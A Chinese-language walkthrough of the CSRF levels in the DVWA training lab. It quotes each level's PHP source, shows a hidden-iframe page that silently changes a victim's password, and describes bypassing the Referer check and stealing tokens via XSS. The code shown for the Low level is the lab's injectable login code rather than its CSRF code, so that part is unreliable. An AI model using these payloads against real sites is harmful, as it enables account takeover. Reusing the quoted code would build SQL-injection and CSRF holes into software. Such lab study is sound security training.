CSRF与XSS不同,它称为跨站请求伪造,它是利用其他页面的恶意脚本来加载访问或操作存在CSRF的漏洞的可信网站。
1.Low级别
核心代码如下:
<?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area { $user}</p>"; echo "<img src=\"{ $avatar}\" />"; } else { // Login failed echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
没有加任何过滤和验证,抓去请求包如下:
发现它是通过GET形式提交,因此可以构造如下恶意网页1.html:
<iframe hidden src="http://www.xxx.com/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" ></iframe>
将其如果能让可信用户访问,那么会自动更改密码为passowrd。
2.Medium级别
核心代码:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
首先想到的是直接伪造REFFER头,但是Cookie也要跟着伪造,此时的PHPSESSION却无法获取,因此只能换一种其他思路。
还是想着如何进行绕过过滤函数吧。
首先了解下striops函数
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
因此访问的地址里只要存在HOST就可以实现过滤的绕过,因此直接构造链接文件为HOST.html即可。
其中构造的恶意代码不变
3.HIGH级别
核心代码如下:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
HIGH级别中加入了令牌机制,一种思路是获取USER_token,带USER_TOKEN提交,第二种思路就是通过XSS获取SESSION,继而提交恶意请求